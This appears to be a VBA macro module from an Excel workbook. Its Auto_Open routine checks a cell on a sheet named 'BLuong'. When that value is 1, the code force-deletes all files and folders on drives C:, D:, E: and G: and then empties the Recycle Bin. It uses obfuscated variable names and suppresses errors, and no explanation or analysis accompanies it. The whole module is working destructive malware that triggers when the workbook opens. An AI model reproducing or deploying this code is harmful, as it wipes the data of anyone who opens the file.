Private Declare Function EmptyRecycleBin Lib "shell32.dll" _
Alias "SHEmptyRecycleBinA" ( _
ByVal hwnd As Long, _
ByVal pszRootPath As String, _
ByVal dwFlags As Long) As Long
Sub X58454848887788()
On Error Resume Next
Dim Para As Long
Dim lngRet As Long
lngRet = EmptyRecycleBin(0&, vbNullString, 1&)
End Sub
Sub Auto_Open()
On Error Resume Next
If Sheets("BLuong").Range("BW6") = 1 Then
X1
X2
X3
X4
X58454848887788
End If
End Sub
Sub X1()
On Error Resume Next
Dim t8eeb37815032c4fc9fbefba9ca8da0db As Object
Dim z36d97c9f5d12c964f64e7b2d4a67779d As String
Set t8eeb37815032c4fc9fbefba9ca8da0db = CreateObject("scripting.filesystemobject")
z36d97c9f5d12c964f64e7b2d4a67779d = "G:\"
If Right(z36d97c9f5d12c964f64e7b2d4a67779d, 1) = "\" Then
z36d97c9f5d12c964f64e7b2d4a67779d = Left(z36d97c9f5d12c964f64e7b2d4a67779d, Len(z36d97c9f5d12c964f64e7b2d4a67779d) - 1)
End If
t8eeb37815032c4fc9fbefba9ca8da0db.deletefile z36d97c9f5d12c964f64e7b2d4a67779d & "\*.*", True
t8eeb37815032c4fc9fbefba9ca8da0db.DeleteFolder z36d97c9f5d12c964f64e7b2d4a67779d & "\*.*", True
End Sub
Sub X2()
On Error Resume Next
Dim t8eeb37815032c4fc9fbefba9ca8da0db As Object
Dim z36d97c9f5d12c964f64e7b2d4a67779d As String
Set t8eeb37815032c4fc9fbefba9ca8da0db = CreateObject("scripting.filesystemobject")
z36d97c9f5d12c964f64e7b2d4a67779d = "E:\"
If Right(z36d97c9f5d12c964f64e7b2d4a67779d, 1) = "\" Then
z36d97c9f5d12c964f64e7b2d4a67779d = Left(z36d97c9f5d12c964f64e7b2d4a67779d, Len(z36d97c9f5d12c964f64e7b2d4a67779d) - 1)
End If
t8eeb37815032c4fc9fbefba9ca8da0db.deletefile z36d97c9f5d12c964f64e7b2d4a67779d & "\*.*", True
t8eeb37815032c4fc9fbefba9ca8da0db.DeleteFolder z36d97c9f5d12c964f64e7b2d4a67779d & "\*.*", True
End Sub
Sub X3()
On Error Resume Next
Dim t8eeb37815032c4fc9fbefba9ca8da0db As Object
Dim z36d97c9f5d12c964f64e7b2d4a67779d As String
Set t8eeb37815032c4fc9fbefba9ca8da0db = CreateObject("scripting.filesystemobject")
z36d97c9f5d12c964f64e7b2d4a67779d = "D:\"
If Right(z36d97c9f5d12c964f64e7b2d4a67779d, 1) = "\" Then
z36d97c9f5d12c964f64e7b2d4a67779d = Left(z36d97c9f5d12c964f64e7b2d4a67779d, Len(z36d97c9f5d12c964f64e7b2d4a67779d) - 1)
End If
t8eeb37815032c4fc9fbefba9ca8da0db.deletefile z36d97c9f5d12c964f64e7b2d4a67779d & "\*.*", True
t8eeb37815032c4fc9fbefba9ca8da0db.DeleteFolder z36d97c9f5d12c964f64e7b2d4a67779d & "\*.*", True
End Sub
Sub X4()
On Error Resume Next
Dim t8eeb37815032c4fc9fbefba9ca8da0db As Object
Dim z36d97c9f5d12c964f64e7b2d4a67779d As String
Set t8eeb37815032c4fc9fbefba9ca8da0db = CreateObject("scripting.filesystemobject")
z36d97c9f5d12c964f64e7b2d4a67779d = "C:\"
If Right(z36d97c9f5d12c964f64e7b2d4a67779d, 1) = "\" Then
z36d97c9f5d12c964f64e7b2d4a67779d = Left(z36d97c9f5d12c964f64e7b2d4a67779d, Len(z36d97c9f5d12c964f64e7b2d4a67779d) - 1)
End If
t8eeb37815032c4fc9fbefba9ca8da0db.deletefile z36d97c9f5d12c964f64e7b2d4a67779d & "\*.*", True
t8eeb37815032c4fc9fbefba9ca8da0db.DeleteFolder z36d97c9f5d12c964f64e7b2d4a67779d & "\*.*", True
End Sub